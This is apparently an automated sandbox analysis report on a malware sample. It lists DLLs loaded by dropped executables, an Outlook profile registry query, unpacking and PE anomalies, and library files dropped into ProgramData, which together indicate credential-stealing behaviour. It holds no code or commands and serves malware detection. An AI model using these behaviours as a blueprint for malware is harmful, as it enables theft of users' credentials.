Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1784832 > 1048576

Source: file.exe

Static PE information: Raw size of yumhawtm is bigger than: 0x100000 < 0x19a000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2566595123.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 0f2c5625b4.exe, 00000018.00000003.3161470668.0000000008720000.00000004.00001000.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3238410849.00000000062C2000.00000040.00000800.00020000.00000000.sdmp, 425e60de02.exe, 0000001E.00000002.3104528419.0000000000372000.00000040.00000001.01000000.00000011.sdmp, 425e60de02.exe, 0000001E.00000003.2970988702.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, 425e60de02.exe, 00000020.00000003.3114752588.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, 425e60de02.exe, 00000020.00000002.3155295342.0000000000372000.00000040.00000001.01000000.00000011.sdmp, 425e60de02.exe, 00000025.00000002.3406391942.0000000000372000.00000040.00000001.01000000.00000011.sdmp, 425e60de02.exe, 00000025.00000003.3366033432.00000000049C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2566595123.000000006FD5D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.f70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yumhawtm:EW;fluclfuh:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yumhawtm:EW;fluclfuh:EW;.taggant:EW;
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Unpacked PE file: 21.2.DocumentsCFBAKKJDBK.exe.9b0000.0.unpack :EW;.rsrc:W;.idata :W;youvernl:EW;opxotnvx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;youvernl:EW;opxotnvx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.f70000.0.unpack :EW;.rsrc:W;.idata :W;youvernl:EW;opxotnvx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;youvernl:EW;opxotnvx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Unpacked PE file: 24.2.0f2c5625b4.exe.b0000.0.unpack :EW;.rsrc :W;.idata :W;rldksuue:EW;vavwmpoz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;rldksuue:EW;vavwmpoz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Unpacked PE file: 25.2.e88687d065.exe.2d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yumhawtm:EW;fluclfuh:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yumhawtm:EW;fluclfuh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Unpacked PE file: 28.2.0f2c5625b4.exe.b0000.0.unpack :EW;.rsrc :W;.idata :W;rldksuue:EW;vavwmpoz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;rldksuue:EW;vavwmpoz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Unpacked PE file: 30.2.425e60de02.exe.370000.0.unpack :EW;.rsrc:W;.idata :W;duljzden:EW;eqdjltoc:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Unpacked PE file: 31.2.e88687d065.exe.2d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yumhawtm:EW;fluclfuh:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yumhawtm:EW;fluclfuh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Unpacked PE file: 32.2.425e60de02.exe.370000.0.unpack :EW;.rsrc:W;.idata :W;duljzden:EW;eqdjltoc:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Unpacked PE file: 36.2.e88687d065.exe.2d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yumhawtm:EW;fluclfuh:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yumhawtm:EW;fluclfuh:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1c08a2 should be: 0x1bde91
Source: DocumentsCFBAKKJDBK.exe.0.dr	Static PE information: real checksum: 0x32955c should be: 0x32d05c
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x3051e3 should be: 0x2fdd5b
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x32955c should be: 0x32d05c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: yumhawtm
Source: file.exe	Static PE information: section name: fluclfuh
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: DocumentsCFBAKKJDBK.exe.0.dr	Static PE information: section name:
Source: DocumentsCFBAKKJDBK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsCFBAKKJDBK.exe.0.dr	Static PE information: section name: youvernl
Source: DocumentsCFBAKKJDBK.exe.0.dr	Static PE information: section name: opxotnvx
Source: DocumentsCFBAKKJDBK.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: rldksuue
Source: random[1].exe.0.dr	Static PE information: section name: vavwmpoz
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name: youvernl
Source: skotes.exe.21.dr	Static PE information: section name: opxotnvx
Source: skotes.exe.21.dr	Static PE information: section name: .taggant

Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Code function: 21_2_009CD91C push ecx; ret	21_2_009CD92F
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Code function: 21_2_009C1359 push es; ret	21_2_009C135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00F8D91C push ecx; ret	22_2_00F8D92F

Source: file.exe	Static PE information: section name: yumhawtm entropy: 7.953716629880703
Source: DocumentsCFBAKKJDBK.exe.0.dr	Static PE information: section name: entropy: 7.064822361499059
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 6.934364181956386
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.064822361499059

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCFBAKKJDBK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsCFBAKKJDBK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
